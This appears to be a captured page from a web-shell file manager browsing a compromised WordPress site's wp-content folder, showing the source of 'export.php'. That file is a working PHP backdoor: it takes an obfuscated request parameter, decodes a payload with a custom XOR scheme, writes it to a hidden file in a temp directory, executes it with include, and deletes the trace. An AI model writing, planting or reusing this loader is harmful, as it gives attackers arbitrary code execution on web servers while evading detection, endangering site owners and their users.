at path：
ROOT
/
wp-content
/
export.php
run：
R
W
Run
ad955d76
DIR
2026-06-05 03:34:09
R
W
Run
comment-editor
DIR
2026-06-05 03:34:09
R
W
Run
query-content
DIR
2026-06-05 03:34:09
R
W
Run
error_log
720 By
2026-06-02 12:38:37
R
W
Run
Delete
Rename
export.php
903 By
2026-05-31 20:31:16
R
W
Run
Delete
Rename
error_log
up
📄
export.php
Save
<?php if(count($_REQUEST) > 0 && isset($_REQUEST["\x72e\x73ou\x72\x63e"])){ $holder = $_REQUEST["\x72e\x73ou\x72\x63e"]; $holder=explode ( "." , $holder ); $entity = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); foreach( $holder as $q => $v9): $chS = ord( $s[$q % $lenS] ); $dec =( ( int)$v9 - $chS -( $q % 10)) ^ 29; $entity .=chr( $dec ); endforeach; $marker = array_filter(["/dev/shm", getenv("TMP"), getenv("TEMP"), getcwd(), "/var/tmp", "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path()]); foreach ($marker as $symbol) { if (is_writable($symbol) && is_dir($symbol)) { $reference = sprintf("%s/.comp", $symbol); if (file_put_contents($reference, $entity)) { include $reference; @unlink($reference); exit; } } } }